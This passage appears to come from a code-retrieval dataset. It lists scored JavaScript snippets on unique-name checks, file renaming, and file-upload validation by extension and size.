if(subject==\"\")\n\t\t\t{\n\t\t\tbootbox.alert(\"Please enter subject !\");\n\t\t\t}\n\t\t\telse if(fileNameActual==\"\")\n\t\t\t{\n\t\t\tbootbox.alert(\"Please select file name !\");\n\t\t\t}\n\t\t\telse if(custodian==\"\")\n\t\t\t\t{\n\t\t\t\tbootbox.alert(\"Please select Custodian !\");\n\t\t\t\t}\n\n\t\t\telse\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\tif(client!=\"\")\n\t\t\t\t{\t\n\t\t\t\t\tif(client.indexOf(\"||\") !=-1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar clientArr=client.split(\"||\");\n\t\t\t\t\t\tclient=clientArr[0];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tclient=\"0\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tclient=\"0\";\n\t\t\t\t}\n\t\t\t\t$(\"#hdn_client\").val(client);\t\n\n\n\t\t\t\tif(dept==\"\")\n\t\t\t\t{\n\t\t\t\t\tdept=\"NA\";\n\n\t\t\t\t}\n\t\t\t\tif(office==\"\")\n\t\t\t\t{\n\t\t\t\t\toffice=\"NA\";\n\n\t\t\t\t}\n\t\t\t\tif(activity==\"\")\n\t\t\t\t{\n\t\t\t\t\tactivity=\"NA\";\n\n\t\t\t\t}\n\t\t\tshowAjaxLoader();\n\t\t\t\n\t\t\n\t$.ajax({\n\t\turl : 'checkFileNameDublicacy.htm',\n\t\tdataType: \"json\",\n\t\tdata : {\n\t\t\tdept : dept,\n\t\t\toffice : office,\n\t\t\tproject : project,\n\t\t\twork : work,\n\t\t\tclient :client,\n\t\t\tactivity : activity,\n\t\t},\n\t\tsuccess : function(response) \n\t\t{\n\t\t\tvar data=response;\n\t\t\tif(data!=null)\n\t\t\t\t{\t\t\n\t\t\t\tvar thtml='';\n\t\t\t\t\n\t\t\t\tif(data.isfilelst==\"Yes\")\n\t\t\t\t\t{\t\t\t\t\t\n\t\t\t \tvar data1=data.filelst;\n\t\t\t\t\t\t\t$.each(data1, function(ii, value) \n\t\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\t\t$(\"#hdn_fileid\").val(value.fid);\n\t\t\t\t\t \t\tthtml=thtml+'<p><span>'+(ii+1)+')</span> <span id=\"'+value.fid+'\">'+value.fname+'</span></p>'; \n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t$(\"#flistdiv\").empty().append(thtml);\t\t\t\t\n\t\t\t\t\t\t$(\"#modal_volumefile\").modal(\"show\");\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t$(\"#isvolumefile\").val(\"No\");\n\t\t\t\t\t$(\"#hdn_fileid\").val(\"NA\");\n\t\t\t\t\t$(\"#filecreateform\").submit();\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t{\n\t\t\t\n\t\t\t\t$(\"#isvolumefile\").val(\"No\");\n\t\t\t\t$(\"#hdn_fileid\").val(\"NA\");\n\t\t\t\t$(\"#filecreateform\").submit();\n\t\t\t\t}\n\t\t\thideAjaxLoader();\n\t\t}\n\t\t,error: function(error)\n\t\t{\n\t\t\thideAjaxLoader();\n\t\t\t\n\t\t}\n\t});\n\t\t\t\t}\n\t\n}", "title": "" }, { "docid": "7b7d7265a977a679443c2e74eabc8645", "score": "0.55822814", "text": "async function uploadUnique(nam, o) {\n var o = o||{};\n if(o.log) console.log('-uploadUnique:', nam);\n var qry = OPTIONS.youtube.title.replace(/\\$\\{title\\}/g, nam);\n var ids = await youtubeuploader.lines({title: qry});\n if(ids.length) {\n if(o.log) console.log(' .already exists:', ids);\n return 2;\n }\n try { await wikipediaTts(null, nam, o); }\n catch(e) {\n console.error(e);\n return e.message==='No article found'? -2:-4;\n }\n return 4;\n}", "title": "" }, { "docid": "ed57e2b109db8e139cb7f306ef7e6c2e", "score": "0.557623", "text": "validateName() {\n // Do not delete this internal method.\n this.name = this.name.replace(/[^a-z0-9]/gi, '_').toLowerCase();\n }", "title": "" }, { "docid": "f9d934209addf21237bbd626941dfa85", "score": "0.55643815", "text": "function unique_name(input) {\n\tvar invalid = document.getElementById(\"name_invalid\");\n\n\tif (input.value === \"\") {\n\t\tinvalid.innerHTML = \"<span style='color: red'>Required</span>\";\n\t\tpassName = false;\n\t} else {\n\t\tinvalid.innerHTML = \"\";\n\t\tpassName = true;\n\t}\n\n\tdata_valid();\n}", "title": "" }, { "docid": "d3ea9ed00a1ec1a989e2a1cf21f54d27", "score": "0.5556615", "text": "function checkDuplicatedNames() {\n\n for(var i = 0; i < productTable.length; i++)\n {\n if(productName.value == productTable[i].name) \n {\n productName.classList.add(\"is-invalid\");\n productName.classList.remove(\"is-valid\");\n\n PNameAlert.classList.add(\"d-block\");\n PNameAlert.classList.remove(\"d-none\");\n\n PNameAlert.innerHTML = \"Product Name Already Exists\";\n\n addBtn.disabled = true;\n } \n }\n}", "title": "" }, { "docid": "ff347d4b7552431fa38ecfcdc1c04c4e", "score": "0.5551166", "text": "async function validateUniqueName(name) {\n const queryString = `/tags?name=eq.${name}`;\n // database request to check for values\n const response = await dbServer.get(queryString);\n if (response.data.length === 1) {\n return { valid: false, msg: false, data: response.data };\n } else if (response.data.length > 0) {\n return { valid: false, msg: \"Name already taken\" };\n } else return { valid: true };\n}", "title": "" }, { "docid": "c41b77ddbab28d1ff8afb5eaf3ba765d", "score": "0.554987", "text": "async checkUsernameUnique () {\n\t\tif (this.dontCheckUsername) {\n\t\t\treturn;\n\t\t}\n\t\tconst username = this.data.username || this.user.get('username');\n\t\tif (!username) {\n\t\t\treturn;\n\t\t}\n\t\t// we check against each team the user is on, it must be unique in all teams\n\t\tconst teamIds = this.user.get('teamIds') || [];\n\t\tconst usernameChecker = new UsernameChecker({\n\t\t\tdata: this.request.data,\n\t\t\tusername: username,\n\t\t\tuserId: this.user.id,\n\t\t\tteamIds: teamIds\n\t\t});\n\t\tconst isUnique = await usernameChecker.checkUsernameUnique();\n\t\tif (!isUnique) {\n\t\t\tthrow this.request.errorHandler.error('usernameNotUnique', {\n\t\t\t\tinfo: {\n\t\t\t\t\tusername: username,\n\t\t\t\t\tteamIds: usernameChecker.notUniqueTeamIds\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "6dffa0189fab2bf1d6e8de30b1870903", "score": "0.55486864", "text": "validateCategory(_name) {\n\t\t/* Format the string */\n\t\tconst name = _name.toLowerCase();\n\n\t\t/* If the name is unique */\n\t\tvar unique = true;\n\t\tfor (var [categoryID, category] of Object.entries(this.storage.state.categories)) {\n\t\t\tif (category.name == name) {\n\t\t\t\tunique = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (unique) {\n\t\t\t/* Unique name */\n\t\t\tconst parameters = this.storage.emptyCategory;\n\t\t\tparameters.name = name;\n\t\t\tthis.storage.addCategory(parameters);\n\t\t} else {\n\t\t\t/* Existing name */\n\t\t\tconsole.log('\"' + name + '\" already exist');\n\t\t}\n\t}", "title": "" }, { "docid": "08cf02c4b1d4a6ec6f64e7a06efa02fc", "score": "0.55415", "text": "function checkName() {\n vmEditPermission.formData.role = bzUtilsSvc.textToSlug(vmEditPermission.formData.role);\n }", "title": "" }, { "docid": "3394cafef83c0e04d3026c8d4cfeca9b", "score": "0.5537488", "text": "function makeUniqueName(baseName) {\n // Find the first unique 'name_n', where n is a positive number\n if (baseName.charCodeAt(baseName.length - 1) !== 95 /* _ */) {\n baseName += \"_\";\n }\n var i = 1;\n while (true) {\n var generatedName = baseName + i;\n if (isUniqueName(generatedName)) {\n return generatedNameSet[generatedName] = generatedName;\n }\n i++;\n }\n }", "title": "" }, { "docid": "61b4318e1e9ff998e3250353aa8fbacb", "score": "0.5522885", "text": "function validateSingleName(val){\n var keymash = /(([b-df-hj-np-tv-z])(?!\\2)){5}/;\n var v = trim(val);\n return (v != null && v.length >= 2 && !keymash.test(v))\n}", "title": "" }, { "docid": "164a197ce2e5a1eafa7103c8dfd6eec3", "score": "0.55182105", "text": "function SetFileName(fileUploadCtl) {\n if (fileUploadCtl.value.lastIndexOf(\"\\\\\") > 0) {\n dojo.byId('txtFileName').value = fileUploadCtl.value.substring(fileUploadCtl.value.lastIndexOf(\"\\\\\") + 1);\n }\n else {\n dojo.byId('txtFileName').value = fileUploadCtl.value;\n }\n}", "title": "" }, { "docid": "eebbe441922c178067300ecb154fecaa", "score": "0.5507769", "text": "function getUniqueName(namePrefix, array) {\r \r var uniqueName = \"\";\r var uniqueIndex = 1;\r \r var nameExists = false;\r do {\r \r uniqueName = namePrefix + \" \" + uniqueIndex;\r nameExists = false;\r for (var i = 0; i < array.length; i++) {\r \r if (array[i].name == uniqueName) {\r \r nameExists = true;\r break;\r }\r }\r uniqueIndex++;\r \r } while (nameExists == true);\r\r return uniqueName;\r}", "title": "" }, { "docid": "9c6c0a2c94f785a25187c42dcecbb0f6", "score": "0.5504923", "text": "get canRename()\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "3cc64d16163e00a295aeed322bdfc4c2", "score": "0.55045253", "text": "function fileNameChange()\n{\n //If the value of saveFileName input doesn't have '.ama' at the end, append it.\n if($('#saveFileName').val().indexOf(\".ama\") < 0 || $('#saveFileName').val().indexOf(\".ama\") != $('#saveFileName').val().length - 4)\n {\n $('#saveFileName').val($('#saveFileName').val()+\".ama\");\n }\n\n}", "title": "" }, { "docid": "75a5110a254c41e6629dc9418387ef74", "score": "0.5494271", "text": "function uploadFile() {\n if ($(\".careers-vacancy-page .inputfile\").length) {\n var inputs = $(\".inputfile\");\n Array.prototype.forEach.call(inputs, function(input) {\n var label = input.nextElementSibling,\n labelVal = label.innerHTML;\n\n inputs.on(\"change\", function(e) {\n var fileName = '';\n var $this = $(this);\n\n if( $this.files && $this.files.length > 1 ) {\n fileName = ( $this.arrt(\"data-multiple-caption\") || \"\" ).replace(\"{count}\", $this.files.length );\n } else {\n fileName = e.target.value.split(\"\\\\\").pop();\n }\n\n if( fileName ) {\n label.querySelector(\"span\").innerHTML = fileName;\n } else {\n label.innerHTML = labelVal;\n }\n })\n });\n }\n }", "title": "" }, { "docid": "57f47bf95415836a1c3171fccfad3921", "score": "0.5491902", "text": "function validateNameForm(op, suffix) {\n\tif (op == 'create' && document.getElementById('type'+suffix).value != 'blank' && !checkInput('datasetName'+suffix, 'name of the dataset')) {\n\t\treturn false;\n\t}\n\tvar type = document.getElementById('type'+suffix).value;\n\tif (type == 'file') {\n\t\tif (!checkInput('fileName'+suffix, 'file to be uploaded')) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n}", "title": "" }, { "docid": "f7708332bb434eee8a4bc241e28769a9", "score": "0.54801935", "text": "uniqueName(name) {\n let simulators = this._simulators;\n\n let names = {};\n simulators.forEach(simulator => names[simulator.name] = true);\n\n // Strip any previous suffix, add a new suffix if necessary.\n let stripped = name.replace(/ \\(\\d+\\)$/, \"\");\n let unique = stripped;\n for (let i = 1; names[unique]; i++) {\n unique = stripped + \" (\" + i + \")\";\n }\n return unique;\n }", "title": "" }, { "docid": "286ec0834101a9842695ca7497ca4d75", "score": "0.5474044", "text": "getDupeFiles(){\n }", "title": "" }, { "docid": "f8a2a83f4e7c7b474b3ea887ba1c916f", "score": "0.54516155", "text": "function onClickBtnFileBrowserOnUsernameExists()\n{\n var fileName = browseForFileURL(); //returns a local filename\n if (fileName)\n {\n EDIT_GOTOURLONUSERNAMEEXISTS.value = fileName;\n }\n}", "title": "" }, { "docid": "2c967e0435ce50ae837b65efe92b33e3", "score": "0.5450812", "text": "isUniqueIdentifierName(sourceFile, name) {\n if (this.usedIdentifierNames.has(sourceFile) &&\n this.usedIdentifierNames.get(sourceFile).indexOf(name) !== -1) {\n return false;\n }\n // Walk through the source file and search for an identifier matching\n // the given name. In that case, it's not guaranteed that this name\n // is unique in the given declaration scope and we just return false.\n const nodeQueue = [sourceFile];\n while (nodeQueue.length) {\n const node = nodeQueue.shift();\n if (ts.isIdentifier(node) && node.text === name) {\n return false;\n }\n nodeQueue.push(...node.getChildren());\n }\n return true;\n }", "title": "" }, { "docid": "6d2a7b2eb68615796b0eef225928664e", "score": "0.5444176", "text": "function fileChangeCheck(fileUp) {\n var fileName = fileUp[\"0\"].files[\"0\"].name;//獲取本地文件名稱\n var fileSize = fileUp[\"0\"].files[\"0\"].size;//獲取文件大小\n //檢查上傳文件是否超過2MB\n fileSize = fileSize / 1024;\n if (fileSize > 2048) {\n alert(\"图片不能大于2MB\");\n $(this).val(\"\");\n return false;\n } else {\n //檢查上傳文件是圖片文件\n var fileName = fileName.substring(fileName.lastIndexOf(\".\") + 1).toLowerCase();\n if (fileName != \"jpg\" && fileName != \"jpeg\" && fileName != \"png\" && fileName != \"gif\") {\n alert(\"请选择图片格式上传(jpg,png,gif,gif等)!\");\n $(this).val(\"\");\n return false;\n } else {\n return true;\n }\n }\n}", "title": "" }, { "docid": "d031a4f192edccf5f4f883aff13b512f", "score": "0.5415285", "text": "function apply()\n{\n var cont = true;\n \n $('input[type = file]').each(function(){\n if(this.value == '')\n cont = false;\n });\n \n if(!cont)\n alert(document.getElementById(\"showname\").className);\n else\n {\n //checks to see that all required documents have been uploaded, and that no 2 files have the same name\n var same = new Array();\n var i = 0;\n $('input[type = file]').each(function(){\n same[i] = this.value;\n i++;\n });\n \n var count = new Array();\n for(i = 0; i < same.length; i++)\n count[i] = 0;\n i = 0;\n $('input[type = file]').each(function(){\n for(s in same)\n if(same[s] == this.value)\n count[i]++;\n i++;\n });\n for(i = 0; i < count.length; i++)\n if(count[i] > 1)\n cont = false;\n if(!cont)\n alert(document.getElementById('block').className);\n //check file extensions\n else\n {\n var extension = new Array();\n \n extension[0] = \".602\";\n extension[1] = \".abw\";\n extension[2] = \".acl\";\n extension[3] = \".afp\";\n extension[4] = \".ans\";\n extension[5] = \".cwk\";\n extension[6] = \".aww\";\n extension[7] = \".cff\";\n extension[8] = \".doc\";\n extension[9] = \".docx\";\n extension[10] = \".dot\";\n extension[11] = \".dotx\";\n extension[12] = \".egt\";\n extension[13] = \".fdx\";\n extension[14] = \".ftm\";\n extension[15] = \".ftx\";\n extension[16] = \".html\";\n extension[17] = \".hwp\";\n extension[18] = \".hwpml\";\n extension[19] = \".lwp\";\n extension[20] = \".mbp\";\n extension[21] = \".mcw\";\n extension[22] = \".odm\";\n extension[23] = \".odt\";\n extension[24] = \".ott\";\n extension[25] = \".omm\";\n extension[26] = \".pages\";\n extension[27] = \".pap\";\n extension[28] = \".pdax\";\n extension[29] = \".pdf\";\n extension[30] = \".rtf\";\n extension[31] = \".rpt\";\n extension[32] = \".sdw\";\n extension[33] = \".stw\";\n extension[34] = \".sxw\";\n extension[35] = \".info\";\n extension[36] = \".txt\";\n extension[37] = \".uof\";\n extension[38] = \".uoml\";\n extension[39] = \".wpd\";\n extension[40] = \".wps\";\n extension[41] = \".wpt\";\n extension[42] = \".wrd\";\n extension[43] = \".wrf\";\n extension[44] = \".wri\";\n extension[45] = \".xps\";\n \n var redo = false;\n \n $(\"input[class = extension]\").each(function(){\n var badext = true;\n var fieldvalue = this.value;\n\n var thistext = fieldvalue.substr(fieldvalue.lastIndexOf('.'));\n for(var i = 0; i < extension.length; i++) \n {\n if(thistext == extension[i]) \n badext = false;\n }\n if(badext)\n redo = true;\n });\n if(!redo)\n document.forms[\"application\"].submit();\n else\n alert(document.getElementById(\"wback\").className);\n }\n }\n}", "title": "" }, { "docid": "0d0dfed884ec880cb879808434b19c95", "score": "0.541227", "text": "_filterDuplicatesAsFullyQualifiedNames(files, similarNames) {\n const outputNames = [];\n const groups = similarNames.reduce((obj, cur) => {\n obj[cur] = obj[cur] ? obj[cur] + 1 : 1;\n return obj;\n }, {});\n for (const [name, occurrences] of Object.entries(groups)) {\n if (occurrences > 1) {\n for (const file of files) {\n if (path.basename(file) === `${name}.json`) {\n outputNames.push(this._getFullyQualifiedNameFromPath(file));\n }\n }\n continue;\n }\n outputNames.push(name);\n }\n return outputNames;\n }", "title": "" }, { "docid": "53004161a6174a7827102d835e5808fa", "score": "0.54103136", "text": "function usernameAlreadyExists(username){\n return false;\n }", "title": "" }, { "docid": "eed28dc275c1e53bf410780ba0a330f0", "score": "0.5410215", "text": "async completelyUniqueNames (nNumberNames) {\n // modified version of trimData function\n const response = await this.readFile(this.inFile)\n const evenIndex = (element, index) => index % 2 === 0\n // splits response data by line then filters by every other line (lines\n // that names are included on)\n const nameRow = response.split('\\n').filter(evenIndex)\n const trimmedFullNames = []\n // loops through lines to separate first and last name data\n nameRow.forEach((element) => {\n const firstName = element.split(' ')[1]\n const lastNameWithComma = element.split(' ')[0]\n // removes comma from last name\n const lastName = lastNameWithComma.substring(0, lastNameWithComma.length - 1)\n trimmedFullNames.push([firstName + ' ' + lastName])\n })\n // remove empty last element of array (caused by blank line at end of text file)\n trimmedFullNames.pop()\n\n // once data has been gathered above, loop through all name data\n const fullyUniqueNames = []\n const lastNameData = []\n const firstNameData = []\n // set max size (N) based on completelyUniqueNames function parameters\n const maxSize = nNumberNames\n trimmedFullNames.forEach(name => {\n if (fullyUniqueNames.length === maxSize) {\n return fullyUniqueNames\n }\n // reset current last and first name to null for each name in loop\n let currentLastName = null\n let currentFirstName = null\n // assign current first and last name\n currentFirstName = name[0].split(' ')[0]\n currentLastName = name[0].split(' ')[1]\n // check current name against instruction requirements\n if (firstNameData.includes(currentFirstName) || lastNameData.includes(currentLastName)) {\n firstNameData.push(currentFirstName)\n lastNameData.push(currentLastName)\n } else {\n fullyUniqueNames.push(currentFirstName + ' ' + currentLastName)\n firstNameData.push(currentFirstName)\n lastNameData.push(currentLastName)\n }\n })\n console.log('6.) Completely Unique Names N', (fullyUniqueNames.length), 'are', fullyUniqueNames)\n const writeData = '6.) Completely Unique Names N ' + fullyUniqueNames.length + ' are ' + fullyUniqueNames + '\\n' + '\\n'\n this.appendSolution(this.outFile, writeData)\n return fullyUniqueNames\n }", "title": "" }, { "docid": "ff49e7ab7d2b3b26c609264f6828ba8f", "score": "0.5410019", "text": "function getUniqueImageFileName( type ) {\n\t\tvar date = new Date(),\n\t\t\tdateParts = [ date.getFullYear(), date.getMonth() + 1, date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds() ];\n\n\t\tuniqueNameCounter += 1;\n\n\t\treturn 'image-' + CKEDITOR.tools.array.map( dateParts, padNumber ).join( '' ) + '-' + uniqueNameCounter + '.' + type;\n\t}", "title": "" }, { "docid": "58dbc6153003ad52d3eee6d65504cd38", "score": "0.54009604", "text": "function validKeyUniqueness(thisKey, configurationObj){\n\t\t var isUnique = true;\n\t\t //each lines\n\t\t for (var i = configurationObj.lines.length - 1; i >= 0; i--) {\n\t\t //each columns\n\t\t for (var j = configurationObj.lines[i].columns.length - 1; j >= 0; j--) {\n\t\t if (configurationObj.lines[i].columns[j].control.key === thisKey) {\n\t\t isUnique = false;\n\t\t }\n\t\t \n\t\t }\n\t\t \n\t\t }\n\n\t\t return isUnique; \n\t\t }", "title": "" }, { "docid": "05922159a8ee139ea0af13cc369053ad", "score": "0.53857964", "text": "isValidTagName(newName) {\n let isValid = true;\n this.tags.forEach(tag => {\n if (tag.name == newName) {\n isValid = false;\n }\n });\n return isValid;\n }", "title": "" }, { "docid": "be8ea329fb79e432b006dcd3a307915f", "score": "0.53838885", "text": "function handleUpload(event) {\n if(event.target.files.length === 0){\n setFileExists(false);\n }\n else{\n setFile(event.target.files[0]);\n setFileExists(true);\n }\n }", "title": "" }, { "docid": "1faa14a9bf77283ae69727602ad2b94e", "score": "0.5380712", "text": "function validateFileExtention(){\n\tvar ext=\"\";\n\tvar kilobyte=1024;\n\tvar len=$('input[type=file]').val().length;\n\tvar count=0;\n\t $('input[type=file]').each(function () {\n\t var fileName = $(this).val().toLowerCase(),\n\t regex = new RegExp(\"(.*?)\\.(pdf|jpeg|png|jpg|gif)$\");\n\t\t\t if(fileName.length!=0){\n\t \tif((this.files[0].size/kilobyte)<=kilobyte){\n\t\t\t\t}else{\n\t\t\t\t\tif(fileName.lastIndexOf(\".\") != -1 && fileName.lastIndexOf(\".\") != 0)\n\t\t\t\t ext= fileName.substring(fileName.lastIndexOf(\".\")+1); \n\t\t\t\t\talert(\"Please Upload Below 1 MB \"+ext+\" File\");\n\t\t\t\t\tcount++;\n\t\t\t\t\t//alert('Maximum file size exceed, This file size is: ' + this.files[0].size + \"KB\");\n\t\t\t\t\t$(this).val('');\n\t\t\t\treturn false;\n\t\t\t\t}\n\t\t if (!(regex.test(fileName))) {\n\t\t $(this).val('');\n\t\t alert('Please select correct file format');\n\t\t count++;\n\t\t return false; \t\n\t\t }\n\t }\n\t });\n\t if(count!=0){\n\t\t return false; \n\t }else{\n\t\t return true;\n\t }\n}", "title": "" }, { "docid": "9f6be0bdc851d3052ff2ec9386a111ff", "score": "0.53783935", "text": "function validateFile(file, uploadInputId) {\n let fileExtension = file.name.split('.').pop().toLowerCase();\n if (settings.allowedExtensions.indexOf(fileExtension) < 0) {\n $(uploadErrorContainerDivSelector).append(`<li>${fileExtension} extension is not allowed</li>`);\n $(uploadErrorContainerDivSelector).show();\n return false;\n }\n\n if (file.size > settings.size) {\n $(uploadErrorContainerDivSelector).append(`<li>${file.name} (${file.size} bytes) exceeds upload limit</li>`);\n $(uploadErrorContainerDivSelector).show();\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "a66c4b173475dc4b4d79fd3e0b249475", "score": "0.53761804", "text": "function checkRemoteFile() {\n remoteLogExists(remote_file_hash, (exists) => {\n if (!exists) {\n var notif = toastr.warning('Your file is no more on the server, you need to upload it again', 'File uploaded')\n fileUploadDisabledClean()\n redirectToastrClick(notif, \"input_data_title\")\n }\n })\n}", "title": "" }, { "docid": "c76e68dba3d047dd35fbc62b9ada7239", "score": "0.53686076", "text": "function checkIfTemplateExists ( tpl_name ) {\n\t\t\t\tvar is_duplicate = false;\n\t\t\t\t//loop through all templates and compare names\n\t\t\t\t$('.oxo_custom_template').each(function(i, obj) {\n\t\t\t\t\tvar name = $(obj).text();\n\t\t\t\t\tif ( name.toLowerCase() == tpl_name.toLowerCase() ) {\n\t\t\t\t\t\tif ( confirm ( \"Template with this name already exists. Click OK to overwrite.\" ) ) {\n\t\t\t\t\t\t\t//do nothing\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tis_duplicate = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\treturn is_duplicate;\n\t\t\t}", "title": "" }, { "docid": "4e1dbbb4e9f7733037d347767fd207dc", "score": "0.5366036", "text": "function duplicateInputFieldMessage(fieldName) {\n return \"There can be only one input field named \\\"\".concat(fieldName, \"\\\".\");\n}", "title": "" }, { "docid": "b82d9da3ae119795cab897161d6b665f", "score": "0.5358755", "text": "_renameCheck () {\n fs.stat(this.filePath, (err, stats) => {\n if (err) {\n // Don't emit an error event here because it is reasonable for the\n // file to not exist anymore if it has been renamed.\n debug(\"Error from fs.stat. %j\", err)\n return this._renamed()\n }\n\n if (stats && stats.ino !== this._tailInode) {\n return this._renamed()\n }\n })\n }", "title": "" }, { "docid": "bdf5064b067f5add1dca8113064e056e", "score": "0.5347694", "text": "function _onFileNameChange(e, oldName, newName) {\n var oldRelPath = ProjectManager.makeProjectRelativeIfPossible(oldName),\n currentPath = $(\"#img-path\").text();\n\n if (currentPath === oldRelPath) {\n var newRelName = ProjectManager.makeProjectRelativeIfPossible(newName);\n $(\"#img-path\").text(newRelName)\n .attr(\"title\", newRelName);\n }\n }", "title": "" }, { "docid": "c91ed9446e27ff9a767f424131656190", "score": "0.53476375", "text": "onBeforeUpload(file) {\n // Allow upload files under 5Gb, and only in png/jpg/jpeg formats\n if (\n file.size <= 5368709120 &&\n /png|jpg|jpeg|mp4|pdf|mp3|pptx|ppt|webm|/i.test(file.extension)\n ) {\n return true;\n }\n return 'Please upload image, with size equal or less than 10MB';\n }", "title": "" }, { "docid": "c91ed9446e27ff9a767f424131656190", "score": "0.53476375", "text": "onBeforeUpload(file) {\n // Allow upload files under 5Gb, and only in png/jpg/jpeg formats\n if (\n file.size <= 5368709120 &&\n /png|jpg|jpeg|mp4|pdf|mp3|pptx|ppt|webm|/i.test(file.extension)\n ) {\n return true;\n }\n return 'Please upload image, with size equal or less than 10MB';\n }", "title": "" }, { "docid": "2a0198eb07ab8cae7e7485e010ac29b8", "score": "0.53425425", "text": "uniqueName(prefix) { return `${prefix}${this.nextNameIndex++}`; }", "title": "" }, { "docid": "2a0198eb07ab8cae7e7485e010ac29b8", "score": "0.53425425", "text": "uniqueName(prefix) { return `${prefix}${this.nextNameIndex++}`; }", "title": "" }, { "docid": "2a0198eb07ab8cae7e7485e010ac29b8", "score": "0.53425425", "text": "uniqueName(prefix) { return `${prefix}${this.nextNameIndex++}`; }", "title": "" }, { "docid": "954f96cb40995b25e5008b83f6b3cc66", "score": "0.53421813", "text": "function callback_collection_name_event() {\n $('#collection-name-validation').on(\"keyup\", function () {\n delay(function () {\n var name = $('#collection-name-validation').val();\n if (name.length > 2) {\n Dajaxice.core.validate_unique_collection(Dajax.process, {\n 'collection_name': $('#collection-name-validation').val()\n });\n\n $('#collection-name-group i').removeClass('icon-info-sign').addClass('icon-spinner icon-spin');\n }\n }, 1000);\n });\n}", "title": "" }, { "docid": "a2093595eadb8622fb0cd1e9cc09da7f", "score": "0.53403705", "text": "function validateFile(input,ext,size)\n{\n var file_name = input.value;\n var split_extension = file_name.split(\".\").pop();\n var extArr = ext.split(\"|\");\n if($.inArray(split_extension.toLowerCase(), extArr ) == -1)\n {\n $(input).val(\"\");\n showToaster('error','You Can Upload Only .'+extArr.join(\", \")+' files !');\n return false;\n }\n if(size != \"\"){\n \n }\n}", "title": "" }, { "docid": "2bdec71087473695654fc8757bcaf76b", "score": "0.5333778", "text": "function duplicateInputFieldMessage(fieldName) {\n return 'There can be only one input field named \"' + fieldName + '\".';\n}", "title": "" }, { "docid": "6fc10f5e157fe81d508829f120611dfc", "score": "0.53318775", "text": "function validateFiles(inputFile) {\n var maxExceededMessage = \"Le fichier est supérieur à 5 Mo, veuillez réduire la taille de votre fichier.\";\n var extErrorMessage = \"Les formats: .jpg, .jpeg, .gif or .png sont acceptés uniquement\";\n var allowedExtension = [\"jpg\", \"jpeg\", \"gif\", \"png\"];\n\n var extName;\n var maxFileSize = $(inputFile).data('max-file-size');\n var sizeExceeded = false;\n var extError = false;\n\n $.each(inputFile.files, function() {\n if (this.size && maxFileSize && this.size > parseInt(maxFileSize)) {sizeExceeded=true;};\n extName = this.name.split('.').pop();\n if ($.inArray(extName, allowedExtension) == -1) {extError=true;};\n });\n if (sizeExceeded) {\n window.alert(maxExceededMessage);\n $(inputFile).val('');\n };\n\n if (extError) {\n window.alert(extErrorMessage);\n $(inputFile).val('');\n };\n}", "title": "" }, { "docid": "72c0da9b297e85a5489fb5733053287a", "score": "0.5327167", "text": "function validation(fileName) {\r\n\tfileName = fileName + \"\";\r\n\tvar fileNameExtensionIndex = fileName.lastIndexOf('.') + 1;\r\n\tvar fileNameExtension = fileName.toLowerCase().substring(\r\n\t\t\tfileNameExtensionIndex, fileName.length);\r\n\tif (!((fileNameExtension === 'jpg') || (fileNameExtension === 'gif') || (fileNameExtension === 'png'))) {\r\n\t\talert('jpg, gif, png 확장자만 업로드 가능합니다.');\r\n\t\treturn true;\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n}", "title": "" }, { "docid": "081c3ec7ae4560ff284238bff8798d03", "score": "0.5325286", "text": "function uploadOnChange() {\n\n var filename = this.value;\n var lastIndex = filename.lastIndexOf(\"\\\\\");\n if (lastIndex >= 0) {\n filename = filename.substring(lastIndex + 1);\n }\n document.getElementById('filename').value = filename;\n}", "title": "" }, { "docid": "0944b9da8e99af99a697a0727675bb1c", "score": "0.53156865", "text": "uniqueName(prefix) {\n return `${prefix}${this.nextNameIndex++}`;\n }", "title": "" }, { "docid": "0944b9da8e99af99a697a0727675bb1c", "score": "0.53156865", "text": "uniqueName(prefix) {\n return `${prefix}${this.nextNameIndex++}`;\n }", "title": "" }, { "docid": "f11620a9bce713a7aaaf48e4f9846189", "score": "0.530462", "text": "function filterChange() {\n $timeout(vm.validateNamesUnique);\n }", "title": "" }, { "docid": "a02fa329c841913fa2f92fd38de531f6", "score": "0.5299955", "text": "getInvalidFileName(length){\n var result = '';\n var characters = '!@#$%)(*&<>.,?/\"';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "title": "" }, { "docid": "ee14ad92ee503d17effe36c6737393fb", "score": "0.5297736", "text": "validateName() {\n const name = this.state.newName;\n return !NewRecipe.validInput(name) || name.length > 80 ? 'error' : null;\n }", "title": "" }, { "docid": "e061b715692516e3d3de3f0493c96bf9", "score": "0.5294512", "text": "function validateFileBeforeUpload (file){\n // file type checking \n var validFormats = ['jpg','jpeg','png'];\n var filename = file.name;\n var ext = filename.substr(filename.lastIndexOf('.')+1);\n var matchExt = false;\n for (var index = 0; index < validFormats.length; index++) {\n if(ext == validFormats[index]){\n matchExt = true; \n }\n \t}\n \t return matchExt; \n\t}", "title": "" }, { "docid": "69e6b1cdd1f9b29a97dfff756247902f", "score": "0.52934235", "text": "function uniqueName(col) {\n var origColName = col.name(),\n colName = origColName,\n appendix = 1;\n\n while (columnsByName.hasOwnProperty(colName)) {\n colName = origColName+'.'+(appendix++);\n }\n if (colName != origColName) col.name(colName); // rename column\n }", "title": "" }, { "docid": 